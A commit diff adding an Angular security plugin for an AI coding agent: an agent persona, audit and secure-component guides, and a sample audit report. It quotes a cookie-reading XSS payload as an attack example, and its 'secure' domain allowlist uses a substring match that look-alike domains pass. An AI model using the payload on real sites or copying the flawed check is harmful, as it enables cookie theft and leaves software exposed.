Initial commit
This commit is contained in:
20
.claude-plugin/plugin.json
Normal file
20
.claude-plugin/plugin.json
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"name": "angular-security",
|
||||||
|
"description": "Security best practices with XSS prevention, authentication, and OWASP compliance",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"author": {
|
||||||
|
"name": "Ihsan - Full-Stack Developer & AI Strategist",
|
||||||
|
"url": "https://github.com/EhssanAtassi"
|
||||||
|
},
|
||||||
|
"skills": [
|
||||||
|
"./skills/xss-prevention/SKILL.md",
|
||||||
|
"./skills/auth-patterns/SKILL.md"
|
||||||
|
],
|
||||||
|
"agents": [
|
||||||
|
"./agents/angular-security-expert.md"
|
||||||
|
],
|
||||||
|
"commands": [
|
||||||
|
"./commands/secure-component.md",
|
||||||
|
"./commands/audit-security.md"
|
||||||
|
]
|
||||||
|
}
|
||||||
3
README.md
Normal file
3
README.md
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
# angular-security
|
||||||
|
|
||||||
|
Security best practices with XSS prevention, authentication, and OWASP compliance
|
||||||
110
agents/angular-security-expert.md
Normal file
110
agents/angular-security-expert.md
Normal file
@@ -0,0 +1,110 @@
|
|||||||
|
# Angular Security Expert
|
||||||
|
|
||||||
|
Expert in Angular application security, XSS prevention, authentication, and OWASP best practices.
|
||||||
|
|
||||||
|
## Expertise
|
||||||
|
|
||||||
|
- **XSS Prevention**: DomSanitizer, Content Security Policy, template security
|
||||||
|
- **Authentication**: JWT, OAuth2, session management, token storage
|
||||||
|
- **Authorization**: Route guards, role-based access control (RBAC)
|
||||||
|
- **CSRF Protection**: Token validation, SameSite cookies
|
||||||
|
- **Secure Communication**: HTTPS, HTTP interceptors, secure headers
|
||||||
|
- **Input Validation**: Form validation, sanitization, encoding
|
||||||
|
- **Dependency Security**: npm audit, vulnerability scanning
|
||||||
|
- **OWASP Top 10**: Injection, broken auth, sensitive data exposure
|
||||||
|
|
||||||
|
## Core Responsibilities
|
||||||
|
|
||||||
|
1. **Identify security vulnerabilities** in Angular applications
|
||||||
|
2. **Implement XSS prevention** using DomSanitizer and CSP
|
||||||
|
3. **Secure authentication flows** with JWT and OAuth2
|
||||||
|
4. **Configure authorization** with guards and RBAC
|
||||||
|
5. **Prevent CSRF attacks** with proper token handling
|
||||||
|
6. **Validate and sanitize inputs** in forms and APIs
|
||||||
|
7. **Audit dependencies** for known vulnerabilities
|
||||||
|
8. **Apply security headers** and HTTPS enforcement
|
||||||
|
|
||||||
|
## Available Commands
|
||||||
|
|
||||||
|
- `/angular-security:secure-component` - Secure component against XSS and injection
|
||||||
|
- `/angular-security:audit-security` - Comprehensive security audit
|
||||||
|
|
||||||
|
## Available Skills
|
||||||
|
|
||||||
|
- `xss-prevention` - Prevent cross-site scripting attacks
|
||||||
|
- `auth-patterns` - Secure authentication and authorization patterns
|
||||||
|
|
||||||
|
## Security Philosophy
|
||||||
|
|
||||||
|
- **Defense in depth** - Multiple layers of security
|
||||||
|
- **Least privilege** - Minimal permissions by default
|
||||||
|
- **Secure by default** - Security built-in, not bolted-on
|
||||||
|
- **Zero trust** - Verify everything, trust nothing
|
||||||
|
|
||||||
|
## Code Quality Standards
|
||||||
|
|
||||||
|
1. **Always sanitize** user-generated content
|
||||||
|
2. **Never trust** client-side validation alone
|
||||||
|
3. **Use HttpOnly cookies** for sensitive tokens
|
||||||
|
4. **Implement CSP** headers
|
||||||
|
5. **Validate all inputs** on server side
|
||||||
|
6. **Encrypt sensitive data** in transit and at rest
|
||||||
|
7. **Regular security audits** with npm audit
|
||||||
|
|
||||||
|
## Communication Style
|
||||||
|
|
||||||
|
- Identify **specific vulnerabilities** with severity ratings
|
||||||
|
- Provide **secure code examples** with explanations
|
||||||
|
- Reference **OWASP guidelines** when applicable
|
||||||
|
- Explain **attack vectors** and mitigation strategies
|
||||||
|
- Prioritize fixes by **risk level** (Critical → High → Medium → Low)
|
||||||
|
|
||||||
|
## Example Interaction
|
||||||
|
|
||||||
|
**User**: "Is this component secure?"
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="userContent"></div>`
|
||||||
|
})
|
||||||
|
export class ContentComponent {
|
||||||
|
@Input() userContent: string;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**You**:
|
||||||
|
```
|
||||||
|
🚨 CRITICAL VULNERABILITY: XSS Attack Vector
|
||||||
|
|
||||||
|
Issue: Directly binding unsanitized HTML from user input
|
||||||
|
Risk: Attackers can inject malicious scripts
|
||||||
|
CVSS Score: 9.3 (Critical)
|
||||||
|
|
||||||
|
Attack Example:
|
||||||
|
userContent = '<img src=x onerror="alert(document.cookie)">'
|
||||||
|
|
||||||
|
✅ Secure Implementation:
|
||||||
|
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="safeContent"></div>`
|
||||||
|
})
|
||||||
|
export class ContentComponent {
|
||||||
|
@Input() set userContent(value: string) {
|
||||||
|
this.safeContent = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.HTML,
|
||||||
|
value
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
safeContent: SafeHtml;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
Or better - avoid innerHTML entirely:
|
||||||
|
<div>{{ userContent }}</div> <!-- Auto-escaped by Angular -->
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Security first, always! 🔒*
|
||||||
429
commands/audit-security.md
Normal file
429
commands/audit-security.md
Normal file
@@ -0,0 +1,429 @@
|
|||||||
|
# Audit Security Command
|
||||||
|
|
||||||
|
Comprehensive security audit for Angular applications following OWASP guidelines.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
/angular-security:audit-security
|
||||||
|
```
|
||||||
|
|
||||||
|
## Audit Categories
|
||||||
|
|
||||||
|
### 1. Dependency Vulnerabilities
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Check for vulnerable packages
|
||||||
|
npm audit
|
||||||
|
|
||||||
|
# Fix automatically
|
||||||
|
npm audit fix
|
||||||
|
|
||||||
|
# View detailed report
|
||||||
|
npm audit --json
|
||||||
|
|
||||||
|
# Check specific severity
|
||||||
|
npm audit --audit-level=high
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. XSS Vulnerabilities
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Scan for dangerous patterns:
|
||||||
|
// - innerHTML with user data
|
||||||
|
// - bypassSecurityTrust* methods
|
||||||
|
// - [style], [href], [src] with user input
|
||||||
|
// - Dynamic script/style injection
|
||||||
|
|
||||||
|
// ❌ Found issues:
|
||||||
|
[innerHTML]="userContent" // XSS risk
|
||||||
|
[src]="untrustedUrl" // URL injection
|
||||||
|
[style]="userStyle" // Style injection
|
||||||
|
bypassSecurityTrustHtml(userHtml) // Bypassing protection
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Authentication & Authorization
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ Secure auth implementation
|
||||||
|
export const authInterceptor: HttpInterceptorFn = (req, next) => {
|
||||||
|
const token = inject(AuthService).getToken();
|
||||||
|
|
||||||
|
if (token) {
|
||||||
|
req = req.clone({
|
||||||
|
setHeaders: {
|
||||||
|
'Authorization': `Bearer ${token}`,
|
||||||
|
'X-Requested-With': 'XMLHttpRequest' // CSRF protection
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
return next(req).pipe(
|
||||||
|
catchError((error: HttpErrorResponse) => {
|
||||||
|
if (error.status === 401) {
|
||||||
|
inject(Router).navigate(['/login']);
|
||||||
|
}
|
||||||
|
return throwError(() => error);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
// ✅ Secure route guard
|
||||||
|
export const authGuard: CanActivateFn = (route, state) => {
|
||||||
|
const authService = inject(AuthService);
|
||||||
|
const router = inject(Router);
|
||||||
|
|
||||||
|
if (authService.isAuthenticated()) {
|
||||||
|
// Check role-based access
|
||||||
|
const requiredRole = route.data['role'];
|
||||||
|
if (requiredRole && !authService.hasRole(requiredRole)) {
|
||||||
|
return router.parseUrl('/unauthorized');
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return router.parseUrl('/login');
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. CSRF Protection
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ CSRF token implementation
|
||||||
|
export class CsrfInterceptor implements HttpInterceptor {
|
||||||
|
intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
|
||||||
|
// Get CSRF token from cookie
|
||||||
|
const csrfToken = this.getCookie('XSRF-TOKEN');
|
||||||
|
|
||||||
|
// Add to header for state-changing requests
|
||||||
|
if (req.method !== 'GET' && req.method !== 'HEAD') {
|
||||||
|
req = req.clone({
|
||||||
|
setHeaders: {
|
||||||
|
'X-XSRF-TOKEN': csrfToken
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
return next.handle(req);
|
||||||
|
}
|
||||||
|
|
||||||
|
private getCookie(name: string): string {
|
||||||
|
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
|
||||||
|
return match ? match[2] : '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Token Storage
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ INSECURE: localStorage
|
||||||
|
localStorage.setItem('token', jwt); // Vulnerable to XSS
|
||||||
|
|
||||||
|
// ✅ SECURE: HttpOnly cookie (server-side)
|
||||||
|
// Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
|
||||||
|
|
||||||
|
// ✅ ALTERNATIVE: Memory + refresh token
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class TokenService {
|
||||||
|
private accessToken: string | null = null;
|
||||||
|
|
||||||
|
setToken(token: string) {
|
||||||
|
this.accessToken = token;
|
||||||
|
// Refresh token in HttpOnly cookie
|
||||||
|
}
|
||||||
|
|
||||||
|
getToken(): string | null {
|
||||||
|
return this.accessToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
clearToken() {
|
||||||
|
this.accessToken = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6. Input Validation
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ Comprehensive validation
|
||||||
|
export class SecureFormComponent {
|
||||||
|
form = this.fb.group({
|
||||||
|
username: ['', [
|
||||||
|
Validators.required,
|
||||||
|
Validators.minLength(3),
|
||||||
|
Validators.maxLength(20),
|
||||||
|
Validators.pattern(/^[a-zA-Z0-9_]+$/)
|
||||||
|
]],
|
||||||
|
email: ['', [
|
||||||
|
Validators.required,
|
||||||
|
Validators.email
|
||||||
|
]],
|
||||||
|
age: ['', [
|
||||||
|
Validators.required,
|
||||||
|
Validators.min(18),
|
||||||
|
Validators.max(120)
|
||||||
|
]],
|
||||||
|
website: ['', [
|
||||||
|
this.urlValidator()
|
||||||
|
]]
|
||||||
|
});
|
||||||
|
|
||||||
|
private urlValidator(): ValidatorFn {
|
||||||
|
return (control: AbstractControl): ValidationErrors | null => {
|
||||||
|
if (!control.value) return null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const url = new URL(control.value);
|
||||||
|
// Only allow https
|
||||||
|
if (url.protocol !== 'https:') {
|
||||||
|
return { invalidProtocol: true };
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
} catch {
|
||||||
|
return { invalidUrl: true };
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7. Secure HTTP Communication
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ HTTPS enforcement
|
||||||
|
export class AppComponent implements OnInit {
|
||||||
|
ngOnInit() {
|
||||||
|
// Redirect HTTP to HTTPS
|
||||||
|
if (location.protocol !== 'https:' &&
|
||||||
|
!location.hostname.includes('localhost')) {
|
||||||
|
location.replace(`https:${location.href.substring(location.protocol.length)}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ Security headers (server-side config)
|
||||||
|
// Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||||
|
// X-Content-Type-Options: nosniff
|
||||||
|
// X-Frame-Options: DENY
|
||||||
|
// X-XSS-Protection: 1; mode=block
|
||||||
|
// Referrer-Policy: strict-origin-when-cross-origin
|
||||||
|
```
|
||||||
|
|
||||||
|
### 8. Content Security Policy
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!-- Strict CSP -->
|
||||||
|
<meta http-equiv="Content-Security-Policy" content="
|
||||||
|
default-src 'self';
|
||||||
|
script-src 'self';
|
||||||
|
style-src 'self';
|
||||||
|
img-src 'self' data: https:;
|
||||||
|
font-src 'self';
|
||||||
|
connect-src 'self' https://api.example.com;
|
||||||
|
frame-ancestors 'none';
|
||||||
|
base-uri 'self';
|
||||||
|
form-action 'self';
|
||||||
|
">
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9. Rate Limiting
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ Client-side rate limiting
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class RateLimitService {
|
||||||
|
private requests = new Map<string, number[]>();
|
||||||
|
private readonly WINDOW_MS = 60000; // 1 minute
|
||||||
|
private readonly MAX_REQUESTS = 10;
|
||||||
|
|
||||||
|
canMakeRequest(key: string): boolean {
|
||||||
|
const now = Date.now();
|
||||||
|
const timestamps = this.requests.get(key) || [];
|
||||||
|
|
||||||
|
// Remove old timestamps
|
||||||
|
const validTimestamps = timestamps.filter(ts =>
|
||||||
|
now - ts < this.WINDOW_MS
|
||||||
|
);
|
||||||
|
|
||||||
|
if (validTimestamps.length >= this.MAX_REQUESTS) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
validTimestamps.push(now);
|
||||||
|
this.requests.set(key, validTimestamps);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 10. Logging & Monitoring
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ Security event logging
|
||||||
|
@Injectable({ providedIn: 'root' })
|
||||||
|
export class SecurityLogger {
|
||||||
|
logSecurityEvent(event: SecurityEvent) {
|
||||||
|
const log = {
|
||||||
|
timestamp: new Date().toISOString(),
|
||||||
|
event: event.type,
|
||||||
|
severity: event.severity,
|
||||||
|
user: this.authService.getCurrentUser()?.id,
|
||||||
|
details: event.details,
|
||||||
|
userAgent: navigator.userAgent,
|
||||||
|
ip: this.getClientIp()
|
||||||
|
};
|
||||||
|
|
||||||
|
// Send to security monitoring service
|
||||||
|
this.http.post('/api/security/log', log).subscribe();
|
||||||
|
}
|
||||||
|
|
||||||
|
logFailedLogin(username: string) {
|
||||||
|
this.logSecurityEvent({
|
||||||
|
type: 'FAILED_LOGIN',
|
||||||
|
severity: 'HIGH',
|
||||||
|
details: { username }
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
logXSSAttempt(payload: string) {
|
||||||
|
this.logSecurityEvent({
|
||||||
|
type: 'XSS_ATTEMPT',
|
||||||
|
severity: 'CRITICAL',
|
||||||
|
details: { payload }
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Audit Report Example
|
||||||
|
|
||||||
|
```
|
||||||
|
🔒 Security Audit Report
|
||||||
|
Generated: 2025-10-21 15:30:00
|
||||||
|
|
||||||
|
┌─────────────────────────────────────────┐
|
||||||
|
│ OWASP Top 10 Compliance │
|
||||||
|
├─────────────────────────────────────────┤
|
||||||
|
│ A01: Broken Access Control ✅ PASS │
|
||||||
|
│ A02: Cryptographic Failures ✅ PASS │
|
||||||
|
│ A03: Injection ⚠️ WARN │
|
||||||
|
│ A04: Insecure Design ✅ PASS │
|
||||||
|
│ A05: Security Misconfiguration ❌ FAIL │
|
||||||
|
│ A06: Vulnerable Components ⚠️ WARN │
|
||||||
|
│ A07: Auth Failures ✅ PASS │
|
||||||
|
│ A08: Software/Data Integrity ✅ PASS │
|
||||||
|
│ A09: Logging Failures ⚠️ WARN │
|
||||||
|
│ A10: Server-Side Forgery ✅ PASS │
|
||||||
|
└─────────────────────────────────────────┘
|
||||||
|
|
||||||
|
📊 Severity Breakdown:
|
||||||
|
┌──────────┬───────┬──────────────────┐
|
||||||
|
│ Severity │ Count │ Issues │
|
||||||
|
├──────────┼───────┼──────────────────┤
|
||||||
|
│ 🔴 CRITICAL │ 0 │ │
|
||||||
|
│ 🔴 HIGH │ 2 │ XSS, CSP missing │
|
||||||
|
│ 🟡 MEDIUM │ 5 │ Various │
|
||||||
|
│ 🟢 LOW │ 3 │ Improvements │
|
||||||
|
└──────────┴───────┴──────────────────┘
|
||||||
|
|
||||||
|
🔴 HIGH Priority Issues:
|
||||||
|
|
||||||
|
1. XSS Vulnerability in UserProfileComponent
|
||||||
|
File: user-profile.component.ts:45
|
||||||
|
Code: [innerHTML]="userBio"
|
||||||
|
Fix: Use DomSanitizer or remove innerHTML
|
||||||
|
|
||||||
|
2. Missing Content-Security-Policy
|
||||||
|
File: index.html
|
||||||
|
Impact: No XSS protection layer
|
||||||
|
Fix: Add CSP meta tag
|
||||||
|
|
||||||
|
🟡 MEDIUM Priority Issues:
|
||||||
|
|
||||||
|
3. Hardcoded API credentials
|
||||||
|
File: environment.ts:8
|
||||||
|
Fix: Use environment variables
|
||||||
|
|
||||||
|
4. No rate limiting on login
|
||||||
|
File: auth.service.ts:23
|
||||||
|
Fix: Implement rate limiting
|
||||||
|
|
||||||
|
5. JWT in localStorage
|
||||||
|
File: token.service.ts:12
|
||||||
|
Fix: Use HttpOnly cookies
|
||||||
|
|
||||||
|
🟢 LOW Priority Issues:
|
||||||
|
|
||||||
|
6. Missing security headers
|
||||||
|
Fix: Configure server headers
|
||||||
|
|
||||||
|
7. No input sanitization
|
||||||
|
Fix: Add validation to forms
|
||||||
|
|
||||||
|
8. Console.log in production
|
||||||
|
Fix: Remove debug logs
|
||||||
|
|
||||||
|
📋 npm audit Results:
|
||||||
|
┌──────────┬───────┐
|
||||||
|
│ Critical │ 0 │
|
||||||
|
│ High │ 1 │
|
||||||
|
│ Moderate │ 3 │
|
||||||
|
│ Low │ 8 │
|
||||||
|
└──────────┴───────┘
|
||||||
|
|
||||||
|
Vulnerable packages:
|
||||||
|
- lodash@4.17.15 (HIGH) → Update to 4.17.21
|
||||||
|
- axios@0.21.1 (MODERATE) → Update to 1.6.0
|
||||||
|
|
||||||
|
✅ Secure Practices Found:
|
||||||
|
- HTTPS enforced
|
||||||
|
- Route guards implemented
|
||||||
|
- Form validation present
|
||||||
|
- CSRF tokens in use
|
||||||
|
- Password hashing (bcrypt)
|
||||||
|
|
||||||
|
🎯 Security Score: 7.2/10
|
||||||
|
|
||||||
|
📈 After Fixes: 9.5/10
|
||||||
|
|
||||||
|
⏱️ Estimated Fix Time: 4-6 hours
|
||||||
|
|
||||||
|
🔧 Action Plan:
|
||||||
|
1. Fix XSS vulnerability (30 min)
|
||||||
|
2. Add CSP headers (15 min)
|
||||||
|
3. Move JWT to HttpOnly cookie (1 hour)
|
||||||
|
4. Update vulnerable dependencies (30 min)
|
||||||
|
5. Add rate limiting (1 hour)
|
||||||
|
6. Implement security logging (1 hour)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Continuous Security
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
# .github/workflows/security.yml
|
||||||
|
name: Security Audit
|
||||||
|
|
||||||
|
on: [push, pull_request]
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
security:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
|
- name: npm audit
|
||||||
|
run: npm audit --audit-level=moderate
|
||||||
|
|
||||||
|
- name: OWASP Dependency Check
|
||||||
|
uses: dependency-check/Dependency-Check_Action@main
|
||||||
|
|
||||||
|
- name: Snyk Security Scan
|
||||||
|
uses: snyk/actions/node@master
|
||||||
|
env:
|
||||||
|
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Audit regularly, fix proactively! 🛡️*
|
||||||
352
commands/secure-component.md
Normal file
352
commands/secure-component.md
Normal file
@@ -0,0 +1,352 @@
|
|||||||
|
# Secure Component Command
|
||||||
|
|
||||||
|
Analyze and secure Angular components against XSS, injection, and other vulnerabilities.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
/angular-security:secure-component <ComponentName>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Security Checks
|
||||||
|
|
||||||
|
### 1. XSS Prevention
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ CRITICAL: XSS vulnerability
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="userInput"></div>`
|
||||||
|
})
|
||||||
|
export class UnsafeComponent {
|
||||||
|
@Input() userInput: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ SECURE: Sanitized HTML
|
||||||
|
@Component({
|
||||||
|
template: `<div [innerHTML]="safeContent"></div>`
|
||||||
|
})
|
||||||
|
export class SafeComponent {
|
||||||
|
@Input() set userInput(value: string) {
|
||||||
|
this.safeContent = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.HTML,
|
||||||
|
value
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
safeContent: SafeHtml;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ BEST: Avoid innerHTML
|
||||||
|
@Component({
|
||||||
|
template: `<div>{{ userInput }}</div>` // Auto-escaped
|
||||||
|
})
|
||||||
|
export class BestComponent {
|
||||||
|
@Input() userInput: string;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. URL Sanitization
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ DANGEROUS: Arbitrary URL
|
||||||
|
<a [href]="userUrl">Click</a>
|
||||||
|
|
||||||
|
// ✅ SECURE: Sanitize URLs
|
||||||
|
export class LinkComponent {
|
||||||
|
@Input() set url(value: string) {
|
||||||
|
this.safeUrl = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.URL,
|
||||||
|
value
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
safeUrl: SafeUrl;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Template
|
||||||
|
<a [href]="safeUrl">Click</a>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Resource URL Validation
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ DANGEROUS: Untrusted resource
|
||||||
|
<iframe [src]="videoUrl"></iframe>
|
||||||
|
|
||||||
|
// ✅ SECURE: Whitelist trusted domains
|
||||||
|
export class VideoComponent {
|
||||||
|
@Input() set videoUrl(url: string) {
|
||||||
|
if (this.isTrustedDomain(url)) {
|
||||||
|
this.safeUrl = this.sanitizer.bypassSecurityTrustResourceUrl(url);
|
||||||
|
} else {
|
||||||
|
console.error('Untrusted video URL:', url);
|
||||||
|
this.safeUrl = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
safeUrl: SafeResourceUrl | null;
|
||||||
|
|
||||||
|
private trustedDomains = ['youtube.com', 'vimeo.com'];
|
||||||
|
|
||||||
|
private isTrustedDomain(url: string): boolean {
|
||||||
|
try {
|
||||||
|
const domain = new URL(url).hostname;
|
||||||
|
return this.trustedDomains.some(trusted =>
|
||||||
|
domain.includes(trusted)
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Style Injection
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ DANGEROUS: User-controlled styles
|
||||||
|
<div [style]="userStyle">Content</div>
|
||||||
|
|
||||||
|
// ✅ SECURE: Sanitize styles
|
||||||
|
export class StyledComponent {
|
||||||
|
@Input() set userStyle(value: string) {
|
||||||
|
this.safeStyle = this.sanitizer.sanitize(
|
||||||
|
SecurityContext.STYLE,
|
||||||
|
value
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
safeStyle: SafeStyle;
|
||||||
|
|
||||||
|
constructor(private sanitizer: DomSanitizer) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ BETTER: Use class binding
|
||||||
|
<div [class]="userClass">Content</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Dynamic Script Loading
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ NEVER DO THIS
|
||||||
|
eval(userCode);
|
||||||
|
new Function(userCode)();
|
||||||
|
|
||||||
|
// ✅ SECURE: No dynamic code execution
|
||||||
|
// Use configuration objects instead
|
||||||
|
export class ConfigurableComponent {
|
||||||
|
@Input() config: {
|
||||||
|
enabled: boolean;
|
||||||
|
options: string[];
|
||||||
|
};
|
||||||
|
|
||||||
|
executeAction() {
|
||||||
|
// Safe configuration-driven logic
|
||||||
|
if (this.config.enabled) {
|
||||||
|
this.config.options.forEach(opt => this.handleOption(opt));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6. Form Input Validation
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ SECURE: Comprehensive validation
|
||||||
|
export class UserFormComponent {
|
||||||
|
userForm = this.fb.group({
|
||||||
|
username: ['', [
|
||||||
|
Validators.required,
|
||||||
|
Validators.minLength(3),
|
||||||
|
Validators.maxLength(20),
|
||||||
|
Validators.pattern(/^[a-zA-Z0-9_]+$/) // Alphanumeric only
|
||||||
|
]],
|
||||||
|
email: ['', [
|
||||||
|
Validators.required,
|
||||||
|
Validators.email
|
||||||
|
]],
|
||||||
|
bio: ['', [
|
||||||
|
Validators.maxLength(500)
|
||||||
|
]]
|
||||||
|
});
|
||||||
|
|
||||||
|
constructor(private fb: FormBuilder) {}
|
||||||
|
|
||||||
|
onSubmit() {
|
||||||
|
if (this.userForm.valid) {
|
||||||
|
// Server-side validation still required!
|
||||||
|
const data = this.userForm.value;
|
||||||
|
this.api.createUser(data).subscribe();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7. File Upload Security
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ✅ SECURE: File validation
|
||||||
|
export class FileUploadComponent {
|
||||||
|
private readonly MAX_SIZE = 5 * 1024 * 1024; // 5MB
|
||||||
|
private readonly ALLOWED_TYPES = [
|
||||||
|
'image/jpeg',
|
||||||
|
'image/png',
|
||||||
|
'image/gif',
|
||||||
|
'application/pdf'
|
||||||
|
];
|
||||||
|
|
||||||
|
onFileSelected(event: Event) {
|
||||||
|
const input = event.target as HTMLInputElement;
|
||||||
|
const file = input.files?.[0];
|
||||||
|
|
||||||
|
if (!file) return;
|
||||||
|
|
||||||
|
// Validate file type
|
||||||
|
if (!this.ALLOWED_TYPES.includes(file.type)) {
|
||||||
|
alert('Invalid file type');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate file size
|
||||||
|
if (file.size > this.MAX_SIZE) {
|
||||||
|
alert('File too large (max 5MB)');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate file extension
|
||||||
|
const ext = file.name.split('.').pop()?.toLowerCase();
|
||||||
|
const validExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
|
||||||
|
if (!ext || !validExtensions.includes(ext)) {
|
||||||
|
alert('Invalid file extension');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.uploadFile(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 8. Sensitive Data in Templates
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// ❌ DANGEROUS: Exposing sensitive data
|
||||||
|
@Component({
|
||||||
|
template: `
|
||||||
|
<div>API Key: {{ apiKey }}</div>
|
||||||
|
<div>Password: {{ password }}</div>
|
||||||
|
`
|
||||||
|
})
|
||||||
|
|
||||||
|
// ✅ SECURE: Never expose sensitive data
|
||||||
|
@Component({
|
||||||
|
template: `
|
||||||
|
<div>Status: {{ isAuthenticated ? 'Connected' : 'Disconnected' }}</div>
|
||||||
|
`
|
||||||
|
})
|
||||||
|
export class SecureComponent {
|
||||||
|
isAuthenticated: boolean;
|
||||||
|
|
||||||
|
// Sensitive data only in memory, never in template
|
||||||
|
private apiKey: string;
|
||||||
|
private password: string;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9. Clickjacking Prevention
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Set X-Frame-Options header (server-side)
|
||||||
|
// But also check in Angular:
|
||||||
|
|
||||||
|
export class FrameGuard implements OnInit {
|
||||||
|
ngOnInit() {
|
||||||
|
// Prevent loading in iframe
|
||||||
|
if (window.self !== window.top) {
|
||||||
|
console.error('Clickjacking attempt detected');
|
||||||
|
